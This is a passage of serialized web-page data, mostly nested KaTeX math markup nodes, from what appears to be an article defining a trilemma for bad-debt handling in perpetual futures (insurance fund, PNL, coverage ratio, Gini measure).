"type":24,"tag":158,"props":164269,"children":164271},{"className":164270,"style":5789},[5750],[],{"type":24,"tag":158,"props":164273,"children":164275},{"className":164274},[22868],[164276],{"type":29,"value":161939},{"type":24,"tag":158,"props":164278,"children":164280},{"className":164279},[22961],[164281],{"type":29,"value":504},{"type":24,"tag":158,"props":164283,"children":164285},{"className":164284},[5669],[164286],{"type":29,"value":5730},{"type":24,"tag":158,"props":164288,"children":164290},{"className":164289},[5669],[164291,164296],{"type":24,"tag":158,"props":164292,"children":164294},{"className":164293},[5669,22832],[164295],{"type":29,"value":52726},{"type":24,"tag":158,"props":164297,"children":164299},{"className":164298},[5686],[164300],{"type":24,"tag":158,"props":164301,"children":164303},{"className":164302},[5691,22886],[164304,164333],{"type":24,"tag":158,"props":164305,"children":164307},{"className":164306},[5696],[164308,164328],{"type":24,"tag":158,"props":164309,"children":164311},{"className":164310,"style":94854},[5701],[164312],{"type":24,"tag":158,"props":164313,"children":164314},{"style":94381},[164315,164319],{"type":24,"tag":158,"props":164316,"children":164318},{"className":164317,"style":5711},[5710],[],{"type":24,"tag":158,"props":164320,"children":164322},{"className":164321},[5716,5717,5718,5719],[164323],{"type":24,"tag":158,"props":164324,"children":164326},{"className":164325},[5669,22832,5719],[164327],{"type":29,"value":1832},{"type":24,"tag":158,"props":164329,"children":164331},{"className":164330},[22989],[164332],{"type":29,"value":22992},{"type":24,"tag":158,"props":164334,"children":164336},{"className":164335},[5696],[164337],{"type":24,"tag":158,"props":164338,"children":164340},{"className":164339,"style":94408},[5701],[164341],{"type":24,"tag":158,"props":164342,"children":164343},{},[],{"type":24,"tag":158,"props":164345,"children":164347},{"className":164346},[5782],[164348],{"type":29,"value":5785},{"type":24,"tag":158,"props":164350,"children":164352},{"className":164351,"style":5789},[5750],[],{"type":24,"tag":158,"props":164354,"children":164356},{"className":164355,"style":5789},[5750],[],{"type":24,"tag":158,"props":164358,"children":164360},{"className":164359},[5669],[164361],{"type":29,"value":5682},{"type":24,"tag":158,"props":164363,"children":164365},{"className":164364},[22983],[164366],{"type":29,"value":521},{"type":24,"tag":158,"props":164368,"children":164369},{"style":162863},[164370,164374],{"type":24,"tag":158,"props":164371,"children":164373},{"className":164372,"style":162225},[5710],[],{"type":24,"tag":158,"props":164375,"children":164377},{"className":164376},[5669],[164378,164382,164386,164391,164395,164458,164462],{"type":24,"tag":158,"props":164379,"children":164381},{"className":164380},[5669],[],{"type":24,"tag":158,"props":164383,"children":164385},{"className":164384,"style":5848},[5750],[],{"type":24,"tag":158,"props":164387,"children":164389},{"className":164388},[5853],[164390],{"type":29,"value":1285},{"type":24,"tag":158,"props":164392,"children":164394},{"className":164393,"style":5848},[5750],[],{"type":24,"tag":158,"props":164396,"children":164398},{"className":164397},[22868,164049],[164399],{"type":24,"tag":158,"props":164400,"children":164402},{"className":164401},[5691,22886],[164403,164447],{"type":24,"tag":158,"props":164404,"children":164406},{"className":164405},[5696],[164407,164442],{"type":24,"tag":158,"props":164408,"children":164410},{"className":164409,"style":164062},[5701],[164411,164427],{"type":24,"tag":158,"props":164412,"children":164413},{"style":164066},[164414,164418],{"type":24,"tag":158,"props":164415,"children":164417},{"className":164416,"style":164071},[5710],[],{"type":24,"tag":158,"props":164419,"children":164421},{"className":164420},[5716,5717,5718,5719],[164422],{"type":24,"tag":158,"props":164423,"children":164425},{"className":164424},[5669,22832,5719],[164426],{"type":29,"value":1832},{"type":24,"tag":158,"props":164428,"children":164429},{"style":164084},[164430,164434],{"type":24,"tag":158,"props":164431,"children":164433},{"className":164432,"style":164071},[5710],[],{"type":24,"tag":158,"props":164435,"children":164436},{},[164437],{"type":24,"tag":158,"props":164438,"children":164440},{"className":164439},[22868,22873,164096],[164441],{"type":29,"value":110120},{"type":24,"tag":158,"props":164443,"children":164445},{"className":164444},[22989],[164446],{"type":29,"value":22992},{"type":24,"tag":158,"props":164448,"children":164450},{"className":164449},[5696],[164451],{"type":24,"tag":158,"props":164452,"children":164454},{"className":164453,"style":164111},[5701],[164455],{"type":24,"tag":158,"props":164456,"children":164457},{},[],{"type":24,"tag":158,"props":164459,"children":164461},{"className":164460,"style":5789},[5750],[],{"type":24,"tag":158,"props":164463,"children":164465},{"className":164464},[5669],[164466,164471],{"type":24,"tag":158,"props":164467,"children":164469},{"className":164468,"style":123605},[5669,22832],[164470],{"type":29,"value":50843},{"type":24,"tag":158,"props":164472,"children":164474},{"className":164473},[5686],[164475],{"type":24,"tag":158,"props":164476,"children":164478},{"className":164477},[5691,22886],[164479,164508],{"type":24,"tag":158,"props":164480,"children":164482},{"className":164481},[5696],[164483,164503],{"type":24,"tag":158,"props":164484,"children":164486},{"className":164485,"style":94854},[5701],[164487],{"type":24,"tag":158,"props":164488,"children":164489},{"style":162553},[164490,164494],{"type":24,"tag":158,"props":164491,"children":164493},{"className":164492,"style":5711},[5710],[],{"type":24,"tag":158,"props":164495,"children":164497},{"className":164496},[5716,5717,5718,5719],[164498],{"type":24,"tag":158,"props":164499,"children":164501},{"className":164500},[5669,22832,5719],[164502],{"type":29,"value":1832},{"type":24,"tag":158,"props":164504,"children":164506},{"className":164505},[22989],[164507],{"type":29,"value":22992},{"type":24,"tag":158,"props":164509,"children":164511},{"className":164510},[5696],[164512],{"type":24,"tag":158,"props":164513,"children":164515},{"className":164514,"style":94408},[5701],[164516],{"type":24,"tag":158,"props":164517,"children":164518},{},[],{"type":24,"tag":158,"props":164520,"children":164521},{"style":162934},[164522,164526],{"type":24,"tag":158,"props":164523,"children":164525},{"className":164524,"style":162225},[5710],[],{"type":24,"tag":158,"props":164527,"children":164529},{"className":164528},[5669],[164530,164534,164538,164543,164547,164552,164557,164614,164618,164623,164627,164632,164636,164641,164645,164702,164707,164711,164715,164720],{"type":24,"tag":158,"props":164531,"children":164533},{"className":164532},[5669],[],{"type":24,"tag":158,"props":164535,"children":164537},{"className":164536,"style":5848},[5750],[],{"type":24,"tag":158,"props":164539,"children":164541},{"className":164540},[5853],[164542],{"type":29,"value":1285},{"type":24,"tag":158,"props":164544,"children":164546},{"className":164545,"style":5848},[5750],[],{"type":24,"tag":158,"props":164548,"children":164550},{"className":164549},[22868],[164551],{"type":29,"value":161939},{"type":24,"tag":158,"props":164553,"children":164555},{"className":164554},[22961],[164556],{"type":29,"value":504},{"type":24,"tag":158,"props":164558,"children":164560},{"className":164559},[5669],[164561,164566],{"type":24,"tag":158,"props":164562,"children":164564},{"className":164563,"style":94325},[5669,22832],[164565],{"type":29,"value":162812},{"type":24,"tag":158,"props":164567,"children":164569},{"className":164568},[5686],[164570],{"type":24,"tag":158,"props":164571,"children":164573},{"className":164572},[5691,22886],[164574,164603],{"type":24,"tag":158,"props":164575,"children":164577},{"className":164576},[5696],[164578,164598],{"type":24,"tag":158,"props":164579,"children":164581},{"className":164580,"style":143880},[5701],[164582],{"type":24,"tag":158,"props":164583,"children":164584},{"style":111324},[164585,164589],{"type":24,"tag":158,"props":164586,"children":164588},{"className":164587,"style":5711},[5710],[],{"type":24,"tag":158,"props":164590,"children":164592},{"className":164591},[5716,5717,5718,5719],[164593],{"type":24,"tag":158,"props":164594,"children":164596},{"className":164595,"style":22833},[5669,22832,5719],[164597],{"type":29,"value":7637},{"type":24,"tag":158,"props":164599,"children":164601},{"className":164600},[22989],[164602],{"type":29,"value":22992},{"type":24,"tag":158,"props":164604,"children":164606},{"className":164605},[5696],[164607],{"type":24,"tag":158,"props":164608,"children":164610},{"className":164609,"style":94408},[5701],[164611],{"type":24,"tag":158,"props":164612,"children":164613},{},[],{"type":24,"tag":158,"props":164615,"children":164617},{"className":164616,"style":5751},[5750],[],{"type":24,"tag":158,"props":164619,"children":164621},{"className":164620},[5756],[164622],{"type":29,"value":5730},{"type":24,"tag":158,"props":164624,"children":164626},{"className":164625,"style":5751},[5750],[],{"type":24,"tag":158,"props":164628,"children":164630},{"className":164629,"style":96345},[5669,22832],[164631],{"type":29,"value":96379},{"type":24,"tag":158,"props":164633,"children":164635},{"className":164634,"style":5751},[5750],[],{"type":24,"tag":158,"props":164637,"children":164639},{"className":164638},[5756],[164640],{"type":29,"value":5730},{"type":24,"tag":158,"props":164642,"children":164644},{"className":164643,"style":5751},[5750],[],{"type":24,"tag":158,"props":164646,"children":164648},{"className":164647},[5669],[164649,164654],{"type":24,"tag":158,"props":164650,"children":164652},{"className":164651,"style":94559},[5669,22832],[164653],{"type":29,"value":94562},{"type":24,"tag":158,"props":164655,"children":164657},{"className":164656},[5686],[164658],{"type":24,"tag":158,"props":164659,"children":164661},{"className":164660},[5691,22886],[164662,164691],{"type":24,"tag":158,"props":164663,"children":164665},{"className":164664},[5696],[164666,164686],{"type":24,"tag":158,"props":164667,"children":164669},{"className":164668,"style":143880},[5701],[164670],{"type":24,"tag":158,"props":164671,"children":164672},{"style":111754},[164673,164677],{"type":24,"tag":158,"props":164674,"children":164676},{"className":164675,"style":5711},[5710],[],{"type":24,"tag":158,"props":164678,"children":164680},{"className":164679},[5716,5717,5718,5719],[164681],{"type":24,"tag":158,"props":164682,"children":164684},{"className":164683,"style":22833},[5669,22832,5719],[164685],{"type":29,"value":7637},{"type":24,"tag":158,"props":164687,"children":164689},{"className":164688},[22989],[164690],{"type":29,"value":22992},{"type":24,"tag":158,"props":164692,"children":164694},{"className":164693},[5696],[164695],{"type":24,"tag":158,"props":164696,"children":164698},{"className":164697,"style":94408},[5701],[164699],{"type":24,"tag":158,"props":164700,"children":164701},{},[],{"type":24,"tag":158,"props":164703,"children":164705},{"className":164704},[5782],[164706],{"type":29,"value":5785},{"type":24,"tag":158,"props":164708,"children":164710},{"className":164709,"style":5789},[5750],[],{"type":24,"tag":158,"props":164712,"children":164714},{"className":164713,"style":5789},[5750],[],{"type":24,"tag":158,"props":164716,"children":164718},{"className":164717},[5669],[164719],{"type":29,"value":5682},{"type":24,"tag":158,"props":164721,"children":164723},{"className":164722},[22983],[164724],{"type":29,"value":521},{"type":24,"tag":158,"props":164726,"children":164728},{"className":164727},[22989],[164729],{"type":29,"value":22992},{"type":24,"tag":158,"props":164731,"children":164733},{"className":164732},[5696],[164734],{"type":24,"tag":158,"props":164735,"children":164737},{"className":164736,"style":163015},[5701],[164738],{"type":24,"tag":158,"props":164739,"children":164740},{},[],{"type":24,"tag":25,"props":164742,"children":164743},{},[164744,164745,164822,164824,164849,164851,164928,164930,165007],{"type":29,"value":504},{"type":24,"tag":154,"props":164746,"children":164748},{"className":164747},[5642,5643],[164749],{"type":24,"tag":158,"props":164750,"children":164752},{"className":164751},[5648],[164753],{"type":24,"tag":158,"props":164754,"children":164756},{"className":164755,"ariaHidden":3185},[5653],[164757],{"type":24,"tag":158,"props":164758,"children":164760},{"className":164759},[5658],[164761,164765],{"type":24,"tag":158,"props":164762,"children":164764},{"className":164763,"style":112322},[5663],[],{"type":24,"tag":158,"props":164766,"children":164768},{"className":164767},[5669],[164769,164774],{"type":24,"tag":158,"props":164770,"children":164772},{"className":164771,"style":22833},[5669,22832],[164773],{"type":29,"value":22836},{"type":24,"tag":158,"props":164775,"children":164777},{"className":164776},[5686],[164778],{"type":24,"tag":158,"props":164779,"children":164781},{"className":164780},[5691,22886],[164782,164811],{"type":24,"tag":158,"props":164783,"children":164785},{"className":164784},[5696],[164786,164806],{"type":24,"tag":158,"props":164787,"children":164789},{"className":164788,"style":110757},[5701],[164790],{"type":24,"tag":158,"props":164791,"children":164792},{"style":162258},[164793,164797],{"type":24,"tag":158,"props":164794,"children":164796},{"className":164795,"style":5711},[5710],[],{"type":24,"tag":158,"props":164798,"children":164800},{"className":164799},[5716,5717,5718,5719],[164801],{"type":24,"tag":158,"props":164802,"children":164804},{"className":164803},[5669,22832,5719],[164805],{"type":29,"value":57676},{"type":24,"tag":158,"props":164807,"children":164809},{"className":164808},[22989],[164810],{"type":29,"value":22992},{"type":24,"tag":158,"props":164812,"children":164814},{"className":164813},[5696],[164815],{"type":24,"tag":158,"props":164816,"children":164818},{"className":164817,"style":94408},[5701],[164819],{"type":24,"tag":158,"props":164820,"children":164821},{},[],{"type":29,"value":164823},": mark price from different sources; ",{"type":24,"tag":154,"props":164825,"children":164827},{"className":164826},[5642,5643],[164828],{"type":24,"tag":158,"props":164829,"children":164831},{"className":164830},[5648],[164832],{"type":24,"tag":158,"props":164833,"children":164835},{"className":164834,"ariaHidden":3185},[5653],[164836],{"type":24,"tag":158,"props":164837,"children":164839},{"className":164838},[5658],[164840,164844],{"type":24,"tag":158,"props":164841,"children":164843},{"className":164842,"style":22827},[5663],[],{"type":24,"tag":158,"props":164845,"children":164847},{"className":164846,"style":96345},[5669,22832],[164848],{"type":29,"value":96379},{"type":29,"value":164850},": insurance fund, roughly the 5M on testnet HL; ",{"type":24,"tag":154,"props":164852,"children":164854},{"className":164853},[5642,5643],[164855],{"type":24,"tag":158,"props":164856,"children":164858},{"className":164857},[5648],[164859],{"type":24,"tag":158,"props":164860,"children":164862},{"className":164861,"ariaHidden":3185},[5653],[164863],{"type":24,"tag":158,"props":164864,"children":164866},{"className":164865},[5658],[164867,164871],{"type":24,"tag":158,"props":164868,"children":164870},{"className":164869,"style":111295},[5663],[],{"type":24,"tag":158,"props":164872,"children":164874},{"className":164873},[5669],[164875,164880],{"type":24,"tag":158,"props":164876,"children":164878},{"className":164877,"style":94811},[5669,22832],[164879],{"type":29,"value":162396},{"type":24,"tag":158,"props":164881,"children":164883},{"className":164882},[5686],[164884],{"type":24,"tag":158,"props":164885,"children":164887},{"className":164886},[5691,22886],[164888,164917],{"type":24,"tag":158,"props":164889,"children":164891},{"className":164890},[5696],[164892,164912],{"type":24,"tag":158,"props":164893,"children":164895},{"className":164894,"style":94854},[5701],[164896],{"type":24,"tag":158,"props":164897,"children":164898},{"style":94858},[164899,164903],{"type":24,"tag":158,"props":164900,"children":164902},{"className":164901,"style":5711},[5710],[],{"type":24,"tag":158,"props":164904,"children":164906},{"className":164905},[5716,5717,5718,5719],[164907],{"type":24,"tag":158,"props":164908,"children":164910},{"className":164909},[5669,22832,5719],[164911],{"type":29,"value":1832},{"type":24,"tag":158,"props":164913,"children":164915},{"className":164914},[22989],[164916],{"type":29,"value":22992},{"type":24,"tag":158,"props":164918,"children":164920},{"className":164919},[5696],[164921],{"type":24,"tag":158,"props":164922,"children":164924},{"className":164923,"style":94408},[5701],[164925],{"type":24,"tag":158,"props":164926,"children":164927},{},[],{"type":29,"value":164929}," is PNL for longs, negated for shorts; ",{"type":24,"tag":154,"props":164931,"children":164933},{"className":164932},[5642,5643],[164934],{"type":24,"tag":158,"props":164935,"children":164937},{"className":164936},[5648],[164938],{"type":24,"tag":158,"props":164939,"children":164941},{"className":164940,"ariaHidden":3185},[5653],[164942],{"type":24,"tag":158,"props":164943,"children":164945},{"className":164944},[5658],[164946,164950],{"type":24,"tag":158,"props":164947,"children":164949},{"className":164948,"style":111295},[5663],[],{"type":24,"tag":158,"props":164951,"children":164953},{"className":164952},[5669],[164954,164959],{"type":24,"tag":158,"props":164955,"children":164957},{"className":164956,"style":123605},[5669,22832],[164958],{"type":29,"value":50843},{"type":24,"tag":158,"props":164960,"children":164962},{"className":164961},[5686],[164963],{"type":24,"tag":158,"props":164964,"children":164966},{"className":164965},[5691,22886],[164967,164996],{"type":24,"tag":158,"props":164968,"children":164970},{"className":164969},[5696],[164971,164991],{"type":24,"tag":158,"props":164972,"children":164974},{"className":164973,"style":94854},[5701],[164975],{"type":24,"tag":158,"props":164976,"children":164977},{"style":162553},[164978,164982],{"type":24,"tag":158,"props":164979,"children":164981},{"className":164980,"style":5711},[5710],[],{"type":24,"tag":158,"props":164983,"children":164985},{"className":164984},[5716,5717,5718,5719],[164986],{"type":24,"tag":158,"props":164987,"children":164989},{"className":164988},[5669,22832,5719],[164990],{"type":29,"value":1832},{"type":24,"tag":158,"props":164992,"children":164994},{"className":164993},[22989],[164995],{"type":29,"value":22992},{"type":24,"tag":158,"props":164997,"children":164999},{"className":164998},[5696],[165000],{"type":24,"tag":158,"props":165001,"children":165003},{"className":165002,"style":94408},[5701],[165004],{"type":24,"tag":158,"props":165005,"children":165006},{},[],{"type":29,"value":165008}," is the positive part of PNL.)",{"type":24,"tag":25,"props":165010,"children":165011},{},[165012],{"type":29,"value":165013},"And let's make the trilemma definitions concrete:",{"type":24,"tag":17924,"props":165015,"children":165016},{},[165017,165491,166055],{"type":24,"tag":1790,"props":165018,"children":165019},{},[165020,165024,165025,165279,165281,165332,165334,165437,165438,165489],{"type":24,"tag":32,"props":165021,"children":165022},{},[165023],{"type":29,"value":162137},{"type":29,"value":34173},{"type":24,"tag":154,"props":165026,"children":165028},{"className":165027},[5642,5643],[165029],{"type":24,"tag":158,"props":165030,"children":165032},{"className":165031},[5648],[165033],{"type":24,"tag":158,"props":165034,"children":165036},{"className":165035,"ariaHidden":3185},[5653],[165037,165064],{"type":24,"tag":158,"props":165038,"children":165040},{"className":165039},[5658],[165041,165046,165051,165055,165060],{"type":24,"tag":158,"props":165042,"children":165045},{"className":165043,"style":165044},[5663],"height:0.7278em;vertical-align:-0.0833em;",[],{"type":24,"tag":158,"props":165047,"children":165049},{"className":165048},[5669],[165050],{"type":29,"value":5672},{"type":24,"tag":158,"props":165052,"children":165054},{"className":165053,"style":5751},[5750],[],{"type":24,"tag":158,"props":165056,"children":165058},{"className":165057},[5756],[165059],{"type":29,"value":5730},{"type":24,"tag":158,"props":165061,"children":165063},{"className":165062,"style":5751},[5750],[],{"type":24,"tag":158,"props":165065,"children":165067},{"className":165066},[5658],[165068,165073],{"type":24,"tag":158,"props":165069,"children":165072},{"className":165070,"style":165071},[5663],"height:1.3337em;vertical-align:-0.4453em;",[],{"type":24,"tag":158,"props":165074,"children":165076},{"className":165075},[5669],[165077,165081,165275],{"type":24,"tag":158,"props":165078,"children":165080},{"className":165079},[22961,114843],[],{"type":24,"tag":158,"props":165082,"children":165084},{"className":165083},[114848],[165085],{"type":24,"tag":158,"props":165086,"children":165088},{"className":165087},[5691,22886],[165089,165263],{"type":24,"tag":158,"props":165090,"children":165092},{"className":165091},[5696],[165093,165258],{"type":24,"tag":158,"props":165094,"children":165097},{"className":165095,"style":165096},[5701],"height:0.8884em;",[165098,165172,165183],{"type":24,"tag":158,"props":165099,"children":165100},{"style":114865},[165101,165105],{"type":24,"tag":158,"props":165102,"children":165104},{"className":165103,"style":113496},[5710],[],{"type":24,"tag":158,"props":165106,"children":165108},{"className":165107},[5716,5717,5718,5719],[165109],{"type":24,"tag":158,"props":165110,"children":165112},{"className":165111},[5669,5719],[165113],{"type":24,"tag":158,"props":165114,"children":165116},{"className":165115},[5669,5719],[165117,165122],{"type":24,"tag":158,"props":165118,"children":165120},{"className":165119,"style":94325},[5669,22832,5719],[165121],{"type":29,"value":162812},{"type":24,"tag":158,"props":165123,"children":165125},{"className":165124},[5686],[165126],{"type":24,"tag":158,"props":165127,"children":165129},{"className":165128},[5691,22886],[165130,165160],{"type":24,"tag":158,"props":165131,"children":165133},{"className":165132},[5696],[165134,165155],{"type":24,"tag":158,"props":165135,"children":165137},{"className":165136,"style":113657},[5701],[165138],{"type":24,"tag":158,"props":165139,"children":165141},{"style":165140},"top:-2.3567em;margin-left:-0.0278em;margin-right:0.0714em;",[165142,165146],{"type":24,"tag":158,"props":165143,"children":165145},{"className":165144,"style":110185},[5710],[],{"type":24,"tag":158,"props":165147,"children":165149},{"className":165148},[5716,110190,110191,5719],[165150],{"type":24,"tag":158,"props":165151,"children":165153},{"className":165152,"style":22833},[5669,22832,5719],[165154],{"type":29,"value":7637},{"type":24,"tag":158,"props":165156,"children":165158},{"className":165157},[22989],[165159],{"type":29,"value":22992},{"type":24,"tag":158,"props":165161,"children":165163},{"className":165162},[5696],[165164],{"type":24,"tag":158,"props":165165,"children":165168},{"className":165166,"style":165167},[5701],"height:0.1433em;",[165169],{"type":24,"tag":158,"props":165170,"children":165171},{},[],{"type":24,"tag":158,"props":165173,"children":165174},{"style":114898},[165175,165179],{"type":24,"tag":158,"props":165176,"children":165178},{"className":165177,"style":113496},[5710],[],{"type":24,"tag":158,"props":165180,"children":165182},{"className":165181,"style":114908},[114907],[],{"type":24,"tag":158,"props":165184,"children":165186},{"style":165185},"top:-3.4101em;",[165187,165191],{"type":24,"tag":158,"props":165188,"children":165190},{"className":165189,"style":113496},[5710],[],{"type":24,"tag":158,"props":165192,"children":165194},{"className":165193},[5716,5717,5718,5719],[165195],{"type":24,"tag":158,"props":165196,"children":165198},{"className":165197},[5669,5719],[165199],{"type":24,"tag":158,"props":165200,"children":165202},{"className":165201},[5669,5719],[165203,165208],{"type":24,"tag":158,"props":165204,"children":165206},{"className":165205,"style":124102},[5669,22832,5719],[165207],{"type":29,"value":124105},{"type":24,"tag":158,"props":165209,"children":165211},{"className":165210},[5686],[165212],{"type":24,"tag":158,"props":165213,"children":165215},{"className":165214},[5691,22886],[165216,165247],{"type":24,"tag":158,"props":165217,"children":165219},{"className":165218},[5696],[165220,165242],{"type":24,"tag":158,"props":165221,"children":165224},{"className":165222,"style":165223},[5701],"height:0.2963em;",[165225],{"type":24,"tag":158,"props":165226,"children":165228},{"style":165227},"top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;",[165229,165233],{"type":24,"tag":158,"props":165230,"children":165232},{"className":165231,"style":110185},[5710],[],{"type":24,"tag":158,"props":165234,"children":165236},{"className":165235},[5716,110190,110191,5719],[165237],{"type":24,"tag":158,"props":165238,"children":165240},{"className":165239},[5669,22832,5719],[165241],{"type":29,"value":22974},{"type":24,"tag":158,"props":165243,"children":165245},{"className":165244},[22989],[165246],{"type":29,"value":22992},{"type":24,"tag":158,"props":165248,"children":165250},{"className":165249},[5696],[165251],{"type":24,"tag":158,"props":165252,"children":165254},{"className":165253,"style":110210},[5701],[165255],{"type":24,"tag":158,"props":165256,"children":165257},{},[],{"type":24,"tag":158,"props":165259,"children":165261},{"className":165260},[22989],[165262],{"type":29,"value":22992},{"type":24,"tag":158,"props":165264,"children":165266},{"className":165265},[5696],[165267],{"type":24,"tag":158,"props":165268,"children":165271},{"className":165269,"style":165270},[5701],"height:0.4453em;",[165272],{"type":24,"tag":158,"props":165273,"children":165274},{},[],{"type":24,"tag":158,"props":165276,"children":165278},{"className":165277},[22983,114843],[],{"type":29,"value":165280}," — how much of the total bad debt was actually covered. ",{"type":24,"tag":154,"props":165282,"children":165284},{"className":165283},[5642,5643],[165285],{"type":24,"tag":158,"props":165286,"children":165288},{"className":165287},[5648],[165289],{"type":24,"tag":158,"props":165290,"children":165292},{"className":165291,"ariaHidden":3185},[5653],[165293,165319],{"type":24,"tag":158,"props":165294,"children":165296},{"className":165295},[5658],[165297,165301,165306,165310,165315],{"type":24,"tag":158,"props":165298,"children":165300},{"className":165299,"style":22827},[5663],[],{"type":24,"tag":158,"props":165302,"children":165304},{"className":165303,"style":23291},[5669,22832],[165305],{"type":29,"value":23294},{"type":24,"tag":158,"props":165307,"children":165309},{"className":165308,"style":5848},[5750],[],{"type":24,"tag":158,"props":165311,"children":165313},{"className":165312},[5853],[165314],{"type":29,"value":1285},{"type":24,"tag":158,"props":165316,"children":165318},{"className":165317,"style":5848},[5750],[],{"type":24,"tag":158,"props":165320,"children":165322},{"className":165321},[5658],[165323,165327],{"type":24,"tag":158,"props":165324,"children":165326},{"className":165325,"style":95356},[5663],[],{"type":24,"tag":158,"props":165328,"children":165330},{"className":165329},[5669],[165331],{"type":29,"value":5672},{"type":29,"value":165333}," means fully solvent (",{"type":24,"tag":154,"props":165335,"children":165337},{"className":165336},[5642,5643],[165338],{"type":24,"tag":158,"props":165339,"children":165341},{"className":165340},[5648],[165342],{"type":24,"tag":158,"props":165343,"children":165345},{"className":165344,"ariaHidden":3185},[5653],[165346,165424],{"type":24,"tag":158,"props":165347,"children":165349},{"className":165348},[5658],[165350,165354,165411,165415,165420],{"type":24,"tag":158,"props":165351,"children":165353},{"className":165352,"style":112322},[5663],[],{"type":24,"tag":158,"props":165355,"children":165357},{"className":165356},[5669],[165358,165363],{"type":24,"tag":158,"props":165359,"children":165361},{"className":165360,"style":124102},[5669,22832],[165362],{"type":29,"value":124105},{"type":24,"tag":158,"props":165364,"children":165366},{"className":165365},[5686],[165367],{"type":24,"tag":158,"props":165368,"children":165370},{"className":165369},[5691,22886],[165371,165400],{"type":24,"tag":158,"props":165372,"children":165374},{"className":165373},[5696],[165375,165395],{"type":24,"tag":158,"props":165376,"children":165378},{"className":165377,"style":162968},[5701],[165379],{"type":24,"tag":158,"props":165380,"children":165381},{"style":162972},[165382,165386],{"type":24,"tag":158,"props":165383,"children":165385},{"className":165384,"style":5711},[5710],[],{"type":24,"tag":158,"props":165387,"children":165389},{"className":165388},[5716,5717,5718,5719],[165390],{"type":24,"tag":158,"props":165391,"children":165393},{"className":165392},[5669,22832,5719],[165394],{"type":29,"value":22974},{"type":24,"tag":158,"props":165396,"children":165398},{"className":165397},[22989],[165399],{"type":29,"value":22992},{"type":24,"tag":158,"props":165401,"children":165403},{"className":165402},[5696],[165404],{"type":24,"tag":158,"props":165405,"children":165407},{"className":165406,"style":94408},[5701],[165408],{"type":24,"tag":158,"props":165409,"children":165410},{},[],{"type":24,"tag":158,"props":165412,"children":165414},{"className":165413,"style":5848},[5750],[],{"type":24,"tag":158,"props":165416,"children":165418},{"className":165417},[5853],[165419],{"type":29,"value":1285},{"type":24,"tag":158,"props":165421,"children":165423},{"className":165422,"style":5848},[5750],[],{"type":24,"tag":158,"props":165425,"children":165427},{"className":165426},[5658],[165428,165432],{"type":24,"tag":158,"props":165429,"children":165431},{"className":165430,"style":95356},[5663],[],{"type":24,"tag":158,"props":165433,"children":165435},{"className":165434},[5669],[165436],{"type":29,"value":5682},{"type":29,"value":16412},{"type":24,"tag":154,"props":165439,"children":165441},{"className":165440},[5642,5643],[165442],{"type":24,"tag":158,"props":165443,"children":165445},{"className":165444},[5648],[165446],{"type":24,"tag":158,"props":165447,"children":165449},{"className":165448,"ariaHidden":3185},[5653],[165450,165476],{"type":24,"tag":158,"props":165451,"children":165453},{"className":165452},[5658],[165454,165458,165463,165467,165472],{"type":24,"tag":158,"props":165455,"children":165457},{"className":165456,"style":22827},[5663],[],{"type":24,"tag":158,"props":165459,"children":165461},{"className":165460,"style":23291},[5669,22832],[165462],{"type":29,"value":23294},{"type":24,"tag":158,"props":165464,"children":165466},{"className":165465,"style":5848},[5750],[],{"type":24,"tag":158,"props":165468,"children":165470},{"className":165469},[5853],[165471],{"type":29,"value":1285},{"type":24,"tag":158,"props":165473,"children":165475},{"className":165474,"style":5848},[5750],[],{"type":24,"tag":158,"props":165477,"children":165479},{"className":165478},[5658],[165480,165484],{"type":24,"tag":158,"props":165481,"children":165483},{"className":165482,"style":95356},[5663],[],{"type":24,"tag":158,"props":165485,"children":165487},{"className":165486},[5669],[165488],{"type":29,"value":5682},{"type":29,"value":165490}," means nothing was recovered.",{"type":24,"tag":1790,"props":165492,"children":165493},{},[165494,165498,165499,165622,165623,165840,165842,165946,165948,165999,166001,166053],{"type":24,"tag":32,"props":165495,"children":165496},{},[165497],{"type":29,"value":162147},{"type":29,"value":34173},{"type":24,"tag":154,"props":165500,"children":165502},{"className":165501},[5642,5643],[165503],{"type":24,"tag":158,"props":165504,"children":165506},{"className":165505},[5648],[165507],{"type":24,"tag":158,"props":165508,"children":165510},{"className":165509,"ariaHidden":3185},[5653],[165511,165537],{"type":24,"tag":158,"props":165512,"children":165514},{"className":165513},[5658],[165515,165519,165524,165528,165533],{"type":24,"tag":158,"props":165516,"children":165518},{"className":165517,"style":165044},[5663],[],{"type":24,"tag":158,"props":165520,"children":165522},{"className":165521},[5669],[165523],{"type":29,"value":5672},{"type":24,"tag":158,"props":165525,"children":165527},{"className":165526,"style":5751},[5750],[],{"type":24,"tag":158,"props":165529,"children":165531},{"className":165530},[5756],[165532],{"type":29,"value":5730},{"type":24,"tag":158,"props":165534,"children":165536},{"className":165535,"style":5751},[5750],[],{"type":24,"tag":158,"props":165538,"children":165540},{"className":165539},[5658],[165541,165545,165555,165560,165617],{"type":24,"tag":158,"props":165542,"children":165544},{"className":165543,"style":5771},[5663],[],{"type":24,"tag":158,"props":165546,"children":165548},{"className":165547},[5669,29],[165549],{"type":24,"tag":158,"props":165550,"children":165552},{"className":165551},[5669],[165553],{"type":29,"value":165554},"Gini",{"type":24,"tag":158,"props":165556,"children":165558},{"className":165557},[22961],[165559],{"type":29,"value":504},{"type":24,"tag":158,"props":165561,"children":165563},{"className":165562},[5669],[165564,165569],{"type":24,"tag":158,"props":165565,"children":165567},{"className":165566},[5669,22832],[165568],{"type":29,"value":85623},{"type":24,"tag":158,"props":165570,"children":165572},{"className":165571},[5686],[165573],{"type":24,"tag":158,"props":165574,"children":165576},{"className":165575},[5691,22886],[165577,165606],{"type":24,"tag":158,"props":165578,"children":165580},{"className":165579},[5696],[165581,165601],{"type":24,"tag":158,"props":165582,"children":165584},{"className":165583,"style":94854},[5701],[165585],{"type":24,"tag":158,"props":165586,"children":165587},{"style":94381},[165588,165592],{"type":24,"tag":158,"props":165589,"children":165591},{"className":165590,"style":5711},[5710],[],{"type":24,"tag":158,"props":165593,"children":165595},{"className":165594},[5716,5717,5718,5719],[165596],{"type":24,"tag":158,"props":165597,"children":165599},{"className":165598},[5669,22832,5719],[165600],{"type":29,"value":1832},{"type":24,"tag":158,"props":165602,"children":165604},{"className":165603},[22989],[165605],{"type":29,"value":22992},{"type":24,"tag":158,"props":165607,"children":165609},{"className":165608},[5696],[165610],{"type":24,"tag":158,"props":165611,"children":165613},{"className":165612,"style":94408},[5701],[165614],{"type":24,"tag":158,"props":165615,"children":165616},{},[],{"type":24,"tag":158,"props":165618,"children":165620},{"className":165619},[22983],[165621],{"type":29,"value":521},{"type":29,"value":8963},{"type":24,"tag":154,"props":165624,